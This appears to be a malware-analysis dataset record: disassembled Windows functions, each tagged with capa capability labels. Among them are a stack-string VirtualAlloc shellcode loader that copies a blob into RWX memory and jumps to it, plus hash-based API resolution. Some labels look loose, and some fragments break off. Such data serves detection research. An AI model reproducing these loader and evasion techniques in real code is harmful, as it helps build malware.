joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b714470
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6b83f4f4]
test esi, esi
jle 0x6b714590
mov eax, dword [0x6b83f4f8]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x6b7144a4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6b714527
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6b714490
mov dword [esp], ebx
call fcn.6b714bd0
mov edi, eax
test eax, eax
je 0x6b7145b7
mov eax, dword [0x6b83f4f8]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.6b714d10
mov edx, dword [0x6b83f4f8]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6b714597
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6b714520
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x6b714530
add dword [0x6b83f4f4], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6b83f4f8]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6b714520
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6b714410
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x6b7144ae
mov eax, dword [0x6b83f4f8]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6b714410
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6b714410
lea esi, [esi]
nop

Function at 0x6b714bd0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x6b440000], 0x5a4d
jne 0x6b714bf5
mov ecx, dword [0x6b44003c]
cmp dword [ecx + 0x6b440000], 0x4550
lea edx, [ecx + 0x6b440000]
je 0x6b714c00
ret
cmp word [ecx + 0x6b440018], 0x10b
jne 0x6b714bf5
push esi
movzx eax, word [ecx + 0x6b440014]
push ebx
movzx esi, word [ecx + 0x6b440006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x6b440000
test esi, esi
je 0x6b714c48
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6b714c3e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x6b714c4a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x6b714c30
xor eax, eax
pop ebx
pop esi
ret
Function at 0x403a29
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41b010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x402308]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0xc], eax
xor esi, esi
mov eax, dword [0x40230c]
and dword [ebp - 0x10], esi
push edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
jmp 0x403b1c
push 0x402310
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403a7e
or esi, 4
jmp 0x403b12
push 0x402324
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403a95
or esi, 0x20
jmp 0x403b12
push 0x40232c
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403aac
or esi, 0x10
jmp 0x403b12
push 0x402344
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403ac6
or esi, 0x10000000
jmp 0x403b12
push 0x40234c
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403ae0
or esi, 0x20000000
jmp 0x403b12
push 0x402354
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403afa
or esi, 0x40000000
jmp 0x403b12
push 0x40235c
push edi
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
jne 0x403b12
or esi, 0x80000000
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
call dword [sym.imp.msvcrt.dll_wcstok_s]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x403a64
test ebx, ebx
je 0x403b35
mov dword [ebx], esi
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
pop edi
sete al
xor ecx, ebp
pop esi
inc eax
pop ebx
call fcn.00418a00
mov esp, ebp
pop ebp
ret 4

Function at 0x403b55
Capabilities:
Allocate thread local storage

Disassembly:
push 4
mov eax, 0x419340
call fcn.00418d84
mov edi, ecx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x403b78
or eax, 0xffffffff
jmp 0x403c40
mov eax, dword [edi + 4]
mov dword [0x41bde0], eax
mov dword [0x41bde4], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, dword [ebp + 8]
mov dword [0x41b2d0], eax
mov eax, esi
shr eax, 5
and eax, 1
mov dword [edi + 8], eax
mov eax, esi
shr eax, 4
and eax, 1
push 0x60
mov dword [edi + 0xc], eax
call fcn.00417d21
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
test eax, eax
je 0x403bcd
push dword [edi + 0xc]
mov ecx, eax
push dword [edi + 8]
push dword [edi + 4]
call fcn.00403ff4
jmp 0x403bcf
mov eax, ebx
or dword [ebp - 4], 0xffffffff
mov dword [edi], eax
test eax, eax
je 0x403b70
mov ecx, eax
call fcn.00404628
mov ecx, dword [edi]
call fcn.0040426a
cmp dword [edi + 0xc], ebx
je 0x403c3e
test esi, 0x10000000
je 0x403bfb
mov esi, 0x411
jmp 0x403c29
test esi, 0x20000000
je 0x403c0a
mov esi, 0x412
jmp 0x403c29
test esi, 0x40000000
je 0x403c19
mov esi, 0x804
jmp 0x403c29
and esi, 0x80000000
neg esi
sbb esi, esi
and esi, 0x404
mov ecx, dword [edi]
push 1
call fcn.004042e8
mov ecx, dword [edi]
push ebx
push esi
mov ecx, dword [ecx + 0x34]
call fcn.00405612
xor eax, eax
call fcn.00418d57
ret 4
Function at 0x4051a1
Capabilities:
Check mutex on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x41b010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x4028cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4051e1
push 0x4028e0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4051e1
push 1
mov ecx, esi
call dword [0x41f3ec]
call esi
push 0x402420
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
test edi, edi
jne 0x4051fe
or eax, 0xffffffff
jmp 0x4052dd
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405216
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4051f6
push 4
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
cmp dword [ebp + 0x10], ebx
je 0x40523a
mov ecx, dword [ebp + 0x10]
call fcn.004050d3
lea esi, [eax*2 + 2]
jmp 0x40523d
push 2
pop esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
jne 0x40525b
xor eax, eax
inc eax
jmp 0x4052dd
push esi
push 0
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], 0
je 0x405284
push 0xffffffffffffffff
push dword [ebp + 0x10]
shr esi, 1
push esi
push ebx
call dword [sym.imp.msvcrt.dll_wcsncpy_s]
add esp, 0x10
cmp eax, 0x50
je 0x405253
push 0x10
call fcn.00417d21
mov esi, eax
pop ecx
test esi, esi
je 0x40529d
mov ecx, dword [ebp + 8]
and dword [esi], 0
mov dword [esi + 4], ecx
jmp 0x40529f
xor esi, esi
test esi, esi
je 0x4051f6
push ecx
push ebx
mov ecx, esi
call fcn.004039bf
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push 0
push 0x320033
push 0x6c0065
push 0x6e0072
push 0x65006b
push esp
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
adc eax, sym.imp.KERNEL32.dll_LoadLibraryW
add esp, 0x14
push 0
push 0x636f6c6c
push 0x416c6175
push 0x74726956
je 0x40534b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x10
push 0x40
push 0x3000
push 0x3078
push 0
call eax
call 0x405316
pop esi
add esi, 0x12
mov edi, eax
mov ecx, 0x3078
rep movsb byte es:[edi], byte [esi]
jmp eax

Function at 0x405612
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0x79
mov byte [ebp - 0x1d], 0x7a
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x31
mov byte [ebp - 0x1a], 0x32
mov byte [ebp - 0x19], 0x33
mov byte [ebp - 0x18], 0x34
mov byte [ebp - 0x17], 0x35
mov byte [ebp - 0x16], 0x36
mov byte [ebp - 0x15], 0x37
mov byte [ebp - 0x14], 0x38
mov byte [ebp - 0x13], 0x39
mov byte [ebp - 0x12], 0x2b
mov byte [ebp - 0x11], 0x2f
xor eax, eax
mov byte [ebp - 0x10], al
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x40566c
Function at 0x405a18
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov byte [ebp - 0x14], 0x59
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x2d
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x6b
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0x2d
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1cc]
call edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405a95
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x78]
call ecx
cmp eax, 0xb7
jne 0x405a90
xor eax, eax
jmp 0x405a95
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4065a8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4065d1
mov eax, dword [ebp - 4]
jmp 0x4066ea
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x4065f0
mov eax, dword [ebp - 4]
jmp 0x4066ea
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
cmp dword [edx + ecx + 0x7c], 0
jne 0x40660a
mov eax, dword [ebp - 4]
jmp 0x4066ea
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
cmp dword [edx + ecx + 0x78], 0
jne 0x406624
mov eax, dword [ebp - 4]
jmp 0x4066ea
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x18], 0
jne 0x40664a
mov eax, dword [ebp - 4]
jmp 0x4066ea
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], 0
jmp 0x406680
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x18]
sub ecx, 1
cmp dword [ebp - 8], ecx
jae 0x4066e7
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx*4]
add ecx, dword [ebp + 8]
push ecx
call fcn.00405348
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x4066e5
cmp dword [ebp + 0x10], 0
je 0x4066cd
pop ds
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax*4]
add edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x1c]
mov dword [ebp - 4], eax
jmp 0x4066e3
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax*4]
add edx, dword [ebp + 8]
mov dword [ebp - 4], edx
jmp 0x4066e7
jmp 0x406677
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406808
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x64], 0x61
mov byte [ebp - 0x63], 0x64
mov byte [ebp - 0x62], 0x76
mov byte [ebp - 0x61], 0x61
mov byte [ebp - 0x60], 0x70
mov byte [ebp - 0x5f], 0x69
mov byte [ebp - 0x5e], 0x33
mov byte [ebp - 0x5d], 0x32
mov byte [ebp - 0x5c], 0x2e
mov byte [ebp - 0x5b], 0x64
mov byte [ebp - 0x5a], 0x6c
mov byte [ebp - 0x59], 0x6c
mov byte [ebp - 0x58], 0
mov byte [ebp - 0x3c], 0x70
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x70
Function at 0x406859
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x2e
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x54], 0x6d
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x76
mov byte [ebp - 0x51], 0x63
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x74
mov byte [ebp - 0x4e], 0x2e
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x6c
mov byte [ebp - 0x4b], 0x6c
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0x30], 0x77
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x68
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x48], 0x75
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x72
mov byte [ebp - 0x44], 0x33
mov byte [ebp - 0x43], 0x32
mov byte [ebp - 0x42], 0x2e
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0
call fcn.004067a8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, 0x973e90
mov dword [ebp - 4], eax
push 0x8fecd63f
call fcn.004066f8
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
push 0xcef6e822
call fcn.004066f8
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x64]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x64], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xcc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
invalid
push ebp
Function at 0x406b22
Capabilities:
Access peb ldr_data

Disassembly:
dec eax
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x74]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x74], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004065a8
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x1c], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x20]
push eax
Function at 0x4087b6
Capabilities:
Log keystrokes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41b010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp + 8], 0
mov ebx, eax
je 0x4088df
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
mov dword [ebp - 0x208], edi
test edi, edi
je 0x4088df
push edi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4088df
mov dword [esi + 4], edi
xor edi, edi
push edi
push dword [ebp - 0x208]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x20c], eax
lea eax, [ebp - 0x204]
push 0x100
push eax
push dword [ebp - 0x208]
call dword [sym.imp.USER32.dll_GetClassNameW]
test eax, eax
jle 0x4088a5
push 0xffffffffffffffff
push 0x4024d0
push 0xffffffffffffffff
lea eax, [ebp - 0x204]
push eax
push 1
push 0x409
call dword [sym.imp.KERNEL32.dll_CompareStringW]
cmp eax, 2
je 0x40887f
push 0xffffffffffffffff
push 0x4024f8
push 0xffffffffffffffff
lea eax, [ebp - 0x204]
push eax
push 1
push 0x409
call dword [sym.imp.KERNEL32.dll_CompareStringW]
cmp eax, 2
jne 0x4088a5
cmp dword [esi + 8], edi
je 0x408895
push edi
push dword [esi + 8]
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, dword [ebp - 0x208]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], edi
jmp 0x4088fb
mov eax, dword [ebp - 0x20c]
cmp eax, ebx
je 0x4088f8
mov ecx, dword [esi + 8]
cmp eax, ecx
je 0x4088f8
test ecx, ecx
je 0x4088c3
push edi
push ecx
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, dword [ebp - 0x20c]
push 1
push edi
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [0x41b89c], edi
test eax, eax
je 0x4088f8
jmp 0x4088f5
cmp dword [esi + 8], 0
je 0x4088f8
xor edi, edi
push edi
push dword [esi + 8]
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [esi + 4], edi
mov dword [esi + 8], edi
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418a00
mov esp, ebp
pop ebp
ret 4
Function at 0x408d62
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and eax, 0xfff0
push esi
mov esi, ecx
sub eax, 0xf000
je 0x408df1
sub eax, 0x10
je 0x408dc1
sub eax, 0x50
je 0x408db8
sub eax, 0x30
je 0x408da1
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x112
push dword [esi + 8]
call dword [sym.imp.USER32.dll_DefWindowProcW]
jmp 0x408e30
push 0
push 0x102
push 0x111
push dword [esi + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x408e2e
push 0
push 0x108
jmp 0x408da8
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [esi + 0x1c]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
push dword [esi + 8]
call dword [sym.imp.USER32.dll_SetCapture]
mov dword [esi + 0x10], 1
mov dword [esi + 0x2c], 2
jmp 0x408e2e
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [esi + 0x1c]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
push dword [esi + 8]
call dword [sym.imp.USER32.dll_SetCapture]
push dword [ebp + 0xc]
mov dword [esi + 0x10], 1
push 0
push 0x84
push dword [esi + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [esi + 0x2c], eax
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x40cda6
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 0x10
shr eax, 0x10
push ebx
mov ebx, ecx
push esi
xor esi, esi
push edi
movsx edi, ax
cmp dword [ebx + 0x2c], esi
jle 0x40cdd9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0x20
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DefWindowProcW]
jmp 0x40ceee
cmp edi, 0x201
je 0x40cdf1
cmp edi, 0x204
je 0x40cdf1
cmp edi, 0x207
jne 0x40ce26
mov ecx, dword [ebx + 0x27c]
test ecx, ecx
je 0x40ce00
call fcn.00408913
cmp edi, 0x201
je 0x40ce10
cmp edi, 0x207
jne 0x40ce26
cmp dword [ebx + 0x278], esi
je 0x40ce26
lea ecx, [ebx + 0x28]
mov dword [ebx + 0x278], esi
call fcn.00408656
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
movzx ecx, word [ebp - 8]
movzx eax, word [ebp - 0xc]
shl ecx, 0x10
or ecx, eax
push ecx
push esi
push 0x84
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp dword [ebx + 0x280], 0
mov esi, eax
je 0x40ce81
lea eax, [esi - 0xa]
cmp eax, 7
ja 0x40ce6d
push eax
mov ecx, 0x7f00
call fcn.00408b9d
jmp 0x40ce81
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
push eax
call dword [sym.imp.USER32.dll_SetCursor]
sub edi, 0x200
je 0x40cf89
sub edi, 1
je 0x40cf4f
sub edi, 1
je 0x40cf13
dec edi
sub edi, 1
je 0x40cef7
sub edi, 1
jne 0x40ced9
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push dword [ebp - 8]
mov ecx, dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.00410c36
test eax, eax
je 0x40ced9
cmp eax, dword [ebp + 8]
je 0x40ced9
lea ecx, [ebx + 0x28]
call fcn.00408620
mov dword [ebx + 0x278], 1
push dword [ebp + 0x10]
mov edx, dword [ebp + 8]
push ecx
push ecx
mov ecx, dword [ebx + 0x298]
call fcn.00416d5b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x278], 0
je 0x40ced9
mov eax, dword [ebx + 0x3c]
test eax, eax
jle 0x40cf0d
dec eax
mov dword [ebx + 0x3c], eax
jmp 0x40ced9
and dword [ebx + 0x3c], 0
jmp 0x40ced9
cmp esi, 1
je 0x40ced9
test esi, esi
je 0x40ced9
cmp esi, 0xffffffff
je 0x40ced9
cmp esi, 0xfffffffe
je 0x40ced9
mov edx, dword [ebx + 0x280]
test edx, edx
je 0x40ced9
movzx ecx, word [ebp - 8]
movzx eax, word [ebp - 0xc]
shl ecx, 0x10
or ecx, eax
push ecx
push esi
push 0xa2
push dword [edx + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x40ceee
cmp esi, 1
je 0x40ced9
test esi, esi
je 0x40ced9
cmp esi, 0xffffffff
je 0x40ced9
cmp esi, 0xfffffffe
je 0x40ced9
mov ecx, dword [ebx + 0x280]
test ecx, ecx
je 0x40ced9
push dword [ebp - 8]
push dword [ebp - 0xc]
push esi
call fcn.00408c8e
jmp 0x40ceee
cmp esi, 1
je 0x40ced9
test esi, esi
je 0x40ced9
cmp esi, 0xffffffff
je 0x40ced9
cmp esi, 0xfffffffe
je 0x40ced9
mov ecx, dword [ebx + 0x280]
test ecx, ecx
je 0x40ced9
push dword [ebp - 8]
push dword [ebp - 0xc]
push esi
call fcn.00408c02
jmp 0x40ceee
Function at 0x40dfa4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x41bde0]
push ebx
push esi
push edi
push 0x10
push 1
xor esi, esi
mov dword [ebp - 4], eax
push eax
mov ebx, edx
mov edi, esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40e017
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40e017
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x40e015
lea edx, [edi + 6]
cmp word [edx], si
je 0x40dffe
movzx eax, word [edi]
add eax, edi
add edx, 2
cmp edx, eax
jae 0x40e015
cmp word [edx], si
jne 0x40dff2
sub edx, edi
add edx, 5
shr edx, 2
lea eax, [edi + edx*4]
test eax, eax
je 0x40e015
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
jmp 0x40e017
mov edi, esi
test ebx, ebx
je 0x40e01d
mov dword [ebx], esi
mov eax, dword [ebp + 8]
test eax, eax
je 0x40e026
mov dword [eax], edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4